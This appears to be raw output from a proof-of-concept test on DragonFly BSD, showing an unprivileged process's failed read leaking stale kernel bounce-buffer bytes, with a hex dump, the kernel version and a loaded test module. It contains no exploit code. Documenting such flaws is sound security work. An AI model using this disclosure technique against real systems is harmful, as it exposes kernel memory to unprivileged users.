poc: uid=65534 euid=65534 test=1
T1 step1: NORMAL read(65536) = 65536
T1 step2: ERR(NORESID) read(512) = -1 errno=5 (Input/output error)
T1 RESULT: LEAK -- failed read disclosed 510/512 stale kernel bounce-buffer bytes
T1 leaked-buffer head @0x8004c4200:
  0000: db da d9 d8 df de dd dc d3 d2 d1 d0 d7 d6 d5 d4 
  0010: cb ca c9 c8 cf ce cd cc c3 c2 c1 c0 c7 c6 c5 c4 
  0020: fb fa f9 f8 ff fe fd fc f3 f2 f1 f0 f7 f6 f5 f4 
  0030: eb ea e9 e8 ef ee ed ec e3 e2 e1 e0 e7 e6 e5 e4 
  0040: 9b 9a 99 98 9f 9e 9d 9c 93 92 91 90 97 96 95 94 
  0050: 8b 8a 89 88 8f 8e 8d 8c 83 82 81 80 87 86 85 84 
  0060: bb ba b9 b8 bf be bd bc b3 b2 b1 b0 b7 b6 b5 b4 
  0070: ab aa a9 a8 af ae ad ac a3 a2 a1 a0 a7 a6 a5 a4 
===T3-sample===
md5: can't open /tmp/dfp/t3_leaked.bin: No such file or directory
DragonFly dfbsd 6.5-DEVELOPMENT DragonFly 6.5-DEVELOPMENT #0: Thu Jul  2 06:02:54 UTC 2026     root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC  x86_64
vm.pbuf_mem_count: 394
hw.ncpu: 6
 4    1 0xffffffff82600000     1000 dfp.ko